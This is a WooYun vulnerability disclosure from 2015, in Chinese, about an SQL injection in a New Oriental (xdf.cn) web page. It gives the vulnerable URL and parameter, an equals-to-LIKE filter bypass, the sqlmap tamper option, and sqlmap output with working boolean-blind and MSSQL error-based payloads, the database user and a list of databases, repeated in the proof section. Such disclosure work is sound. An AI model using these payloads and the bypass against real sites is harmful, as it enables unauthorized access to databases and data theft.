当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0159359
漏洞标题：
新东方某站sql注入(绕过)
相关厂商：
新东方
漏洞作者：
Aug0st
提交时间：
2015-12-09 11:18
修复时间：
2016-01-23 15:16
公开时间：
2016-01-23 15:16
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-12-09： 细节已通知厂商并且等待厂商处理中
2015-12-09： 厂商已经确认，细节仅向厂商公开
2015-12-19： 细节向核心白帽子及相关领域专家公开
2015-12-29： 细节向普通白帽子公开
2016-01-08： 细节向实习白帽子公开
2016-01-23： 细节向公众公开

简要描述：

rt

详细说明：

地址：http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin
单引号报错',但是有过滤，
语句http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin%27%20and%20%271%27like%20%271 把等号换成了like绕过，返回true
sqlmap 加tamper equaltolike.py走起
sqlmap identified the following injection point(s) with a total of 123 HTTP(s) requests:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
current user: 'db_youxue'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
available databases [12]:
[*] erp_test
[*] erp_test2
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TempTest
[*] xdf_cms
[*] xdf_mrms
[*] xdf_test
还有一处，也是直接报错，http://youxue.xdf.cn/t20625071'.html 单引号直接报错

39.png


请排查

漏洞证明：

地址：http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin
单引号报错',但是有过滤，
语句http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin%27%20and%20%271%27like%20%271 把等号换成了like绕过，返回true
sqlmap 加tamper equaltolike.py走起
sqlmap identified the following injection point(s) with a total of 123 HTTP(s) requests:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
current user: 'db_youxue'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
available databases [12]:
[*] erp_test
[*] erp_test2
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TempTest
[*] xdf_cms
[*] xdf_mrms
[*] xdf_test
还有一处，也是直接报错，http://youxue.xdf.cn/t20625071'.html 单引号直接报错

39.png


请排查

修复方案：

版权声明：转载请注明来源 Aug0st@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-12-09 15:12

厂商回复：

谢谢漏洞提供，我们会尽快处理！

最新状态：

暂无